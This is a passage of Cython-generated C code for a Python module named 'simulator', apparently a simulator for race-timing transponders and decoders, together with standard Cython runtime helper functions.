(unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__6); __Pyx_GIVEREF(__pyx_tuple__6); /* "simulator.py":155 * message="" * * sleep( randrange(50, 500) / factor) # <<<<<<<<<<<<<< * exit(0) */ __pyx_tuple__8 = PyTuple_Pack(2, __pyx_int_50, __pyx_int_500); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__8); __Pyx_GIVEREF(__pyx_tuple__8); /* "simulator.py":156 * * sleep( randrange(50, 500) / factor) * exit(0) # <<<<<<<<<<<<<< */ __pyx_tuple__9 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__9); __Pyx_GIVEREF(__pyx_tuple__9); /* "simulator.py":58 * theThead = None * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * * if self.howmany < decoder['howmany']: */ __pyx_tuple__10 = PyTuple_Pack(14, __pyx_n_s_self, __pyx_n_s_d, __pyx_n_s_decoder, __pyx_n_s_name, __pyx_n_s_i, __pyx_n_s_type, __pyx_n_s_delay, __pyx_n_s_rl, __pyx_n_s_c, __pyx_n_s_t, __pyx_n_s_sock, __pyx_n_s_ttl, __pyx_n_s_e, __pyx_n_s_tp); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__10); __Pyx_GIVEREF(__pyx_tuple__10); __pyx_codeobj__11 = (PyObject*)__Pyx_PyCode_New(4, 0, 14, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__10, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_createThread, 58, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__11)) __PYX_ERR(0, 58, __pyx_L1_error) /* "simulator.py":115 * * * def decoder(self, laptime, delay, ip, port, type): # <<<<<<<<<<<<<< * * while(1): # loop forever */ __pyx_tuple__12 = PyTuple_Pack(13, __pyx_n_s_self, __pyx_n_s_laptime, __pyx_n_s_delay, __pyx_n_s_ip, __pyx_n_s_port, __pyx_n_s_type, __pyx_n_s_tc, __pyx_n_s_tp, __pyx_n_s_ll, __pyx_n_s_ok, __pyx_n_s_sp, __pyx_n_s_ap, __pyx_n_s_message); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__12); __Pyx_GIVEREF(__pyx_tuple__12); __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(6, 0, 13, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__12, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_n_s_decoder, 115, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); __pyx_float_0_1 = PyFloat_FromDouble(0.1); if (unlikely(!__pyx_float_0_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_10 = PyInt_FromLong(10); if (unlikely(!__pyx_int_10)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_50 = PyInt_FromLong(50); if (unlikely(!__pyx_int_50)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1000 = PyInt_FromLong(1000); if (unlikely(!__pyx_int_1000)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_1000000 = PyInt_FromLong(1000000L); if (unlikely(!__pyx_int_1000000)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_int_10000000000 = PyInt_FromString((char *)"10000000000", 0, 0); if (unlikely(!__pyx_int_10000000000)) __PYX_ERR(0, 1, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } #if PY_MAJOR_VERSION < 3 PyMODINIT_FUNC initsimulator(void); /*proto*/ PyMODINIT_FUNC initsimulator(void) #else PyMODINIT_FUNC PyInit_simulator(void); /*proto*/ PyMODINIT_FUNC PyInit_simulator(void) #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; __Pyx_RefNannyDeclarations #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_simulator(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("simulator", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_simulator) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "simulator")) { if (unlikely(PyDict_SetItemString(modules, "simulator", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global init code ---*/ /*--- Variable export code ---*/ /*--- Function export code ---*/ /*--- Type init code ---*/ /*--- Type import code ---*/ /*--- Variable import code ---*/ /*--- Function import code ---*/ /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "simulator.py":32 * ###################################################################################### * * from threading import Thread # <<<<<<<<<<<<<< * from time import time, sleep * import socket */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_Thread); __Pyx_GIVEREF(__pyx_n_s_Thread); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_Thread); __pyx_t_2 = __Pyx_Import(__pyx_n_s_threading, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Thread); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Thread, __pyx_t_1) < 0) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":33 * * from threading import Thread * from time import time, sleep # <<<<<<<<<<<<<< * import socket * import struct */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_time); __Pyx_GIVEREF(__pyx_n_s_time); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_time); __Pyx_INCREF(__pyx_n_s_sleep); __Pyx_GIVEREF(__pyx_n_s_sleep); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_sleep); __pyx_t_1 = __Pyx_Import(__pyx_n_s_time, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_time, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_sleep); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_sleep, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":34 * from threading import Thread * from time import time, sleep * import socket # <<<<<<<<<<<<<< * import struct * from random import randrange */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_socket, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_socket, __pyx_t_1) < 0) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":35 * from time import time, sleep * import socket * import struct # <<<<<<<<<<<<<< * from random import randrange * import Globals */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_struct, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_struct, __pyx_t_1) < 0) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":36 * import socket * import struct * from random import randrange # <<<<<<<<<<<<<< * import Globals * */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_randrange); __Pyx_GIVEREF(__pyx_n_s_randrange); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_randrange); __pyx_t_2 = __Pyx_Import(__pyx_n_s_random, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_randrange); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_randrange, __pyx_t_1) < 0) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":37 * import struct * from random import randrange * import Globals # <<<<<<<<<<<<<< * * # index in transponder list */ __pyx_t_2 = __Pyx_Import(__pyx_n_s_Globals, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Globals, __pyx_t_2) < 0) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":41 * # index in transponder list * * i_finish = 0 # <<<<<<<<<<<<<< * i_laps = 1 * i_partial = 2 */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_i_finish, __pyx_int_0) < 0) __PYX_ERR(0, 41, __pyx_L1_error) /* "simulator.py":42 * * i_finish = 0 * i_laps = 1 # <<<<<<<<<<<<<< * i_partial = 2 * i_lastline = 3 */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_i_laps, __pyx_int_1) < 0) __PYX_ERR(0, 42, __pyx_L1_error) /* "simulator.py":43 * i_finish = 0 * i_laps = 1 * i_partial = 2 # <<<<<<<<<<<<<< * i_lastline = 3 * */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_i_partial, __pyx_int_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) /* "simulator.py":44 * i_laps = 1 * i_partial = 2 * i_lastline = 3 # <<<<<<<<<<<<<< * * factor = 1000 # Multiply factor for ticks */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_i_lastline, __pyx_int_3) < 0) __PYX_ERR(0, 44, __pyx_L1_error) /* "simulator.py":46 * i_lastline = 3 * * factor = 1000 # Multiply factor for ticks # <<<<<<<<<<<<<< * * class decoder(): */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_factor, __pyx_int_1000) < 0) __PYX_ERR(0, 46, __pyx_L1_error) /* "simulator.py":48 * factor = 1000 # Multiply factor for ticks * * class decoder(): # <<<<<<<<<<<<<< * tp_base = 1000000 # Base number from the transponder, will be incremented * transponder = {} # Dict to save the transponder params */ __pyx_t_2 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_decoder, __pyx_n_s_decoder, (PyObject *) NULL, __pyx_n_s_simulator, (PyObject *) NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); /* "simulator.py":49 * * class decoder(): * tp_base = 1000000 # Base number from the transponder, will be incremented # <<<<<<<<<<<<<< * transponder = {} # Dict to save the transponder params * howmany = 0 # number of transponder to create */ if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_tp_base, __pyx_int_1000000) < 0) __PYX_ERR(0, 49, __pyx_L1_error) /* "simulator.py":50 * class decoder(): * tp_base = 1000000 # Base number from the transponder, will be incremented * transponder = {} # Dict to save the transponder params # <<<<<<<<<<<<<< * howmany = 0 # number of transponder to create * laptime = 10000000000 # laptime, only set in type = 0 */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_transponder, __pyx_t_1) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":51 * tp_base = 1000000 # Base number from the transponder, will be incremented * transponder = {} # Dict to save the transponder params * howmany = 0 # number of transponder to create # <<<<<<<<<<<<<< * laptime = 10000000000 # laptime, only set in type = 0 * sockets = {} # dict for sockets used list */ if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_howmany, __pyx_int_0) < 0) __PYX_ERR(0, 51, __pyx_L1_error) /* "simulator.py":52 * transponder = {} # Dict to save the transponder params * howmany = 0 # number of transponder to create * laptime = 10000000000 # laptime, only set in type = 0 # <<<<<<<<<<<<<< * sockets = {} # dict for sockets used list * mgroup = {} # dist for multicast group */ if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_laptime, __pyx_int_10000000000) < 0) __PYX_ERR(0, 52, __pyx_L1_error) /* "simulator.py":53 * howmany = 0 # number of transponder to create * laptime = 10000000000 # laptime, only set in type = 0 * sockets = {} # dict for sockets used list # <<<<<<<<<<<<<< * mgroup = {} # dist for multicast group * partials = {} # dict for partial */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_sockets, __pyx_t_1) < 0) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":54 * laptime = 10000000000 # laptime, only set in type = 0 * sockets = {} # dict for sockets used list * mgroup = {} # dist for multicast group # <<<<<<<<<<<<<< * partials = {} # dict for partial * theThead = None */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_mgroup, __pyx_t_1) < 0) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":55 * sockets = {} # dict for sockets used list * mgroup = {} # dist for multicast group * partials = {} # dict for partial # <<<<<<<<<<<<<< * theThead = None * */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_partials, __pyx_t_1) < 0) __PYX_ERR(0, 55, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":56 * mgroup = {} # dist for multicast group * partials = {} # dict for partial * theThead = None # <<<<<<<<<<<<<< * * def createThread(self,d, decoder, name): */ if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_theThead, Py_None) < 0) __PYX_ERR(0, 56, __pyx_L1_error) /* "simulator.py":58 * theThead = None * * def createThread(self,d, decoder, name): # <<<<<<<<<<<<<< * * if self.howmany < decoder['howmany']: */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9simulator_7decoder_1createThread, 0, __pyx_n_s_decoder_createThread, NULL, __pyx_n_s_simulator, __pyx_d, ((PyObject *)__pyx_codeobj__11)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_createThread, __pyx_t_1) < 0) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":115 * * * def decoder(self, laptime, delay, ip, port, type): # <<<<<<<<<<<<<< * * while(1): # loop forever */ __pyx_t_1 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9simulator_7decoder_3decoder, 0, __pyx_n_s_decoder_decoder, NULL, __pyx_n_s_simulator, __pyx_d, ((PyObject *)__pyx_codeobj__13)); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyObject_SetItem(__pyx_t_2, __pyx_n_s_decoder, __pyx_t_1) < 0) __PYX_ERR(0, 115, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":48 * factor = 1000 # Multiply factor for ticks * * class decoder(): # <<<<<<<<<<<<<< * tp_base = 1000000 # Base number from the transponder, will be incremented * transponder = {} # Dict to save the transponder params */ __pyx_t_1 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_decoder, __pyx_empty_tuple, __pyx_t_2, NULL, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_decoder, __pyx_t_1) < 0) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":1 * #!/usr/bin/python # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init simulator", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init simulator"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || 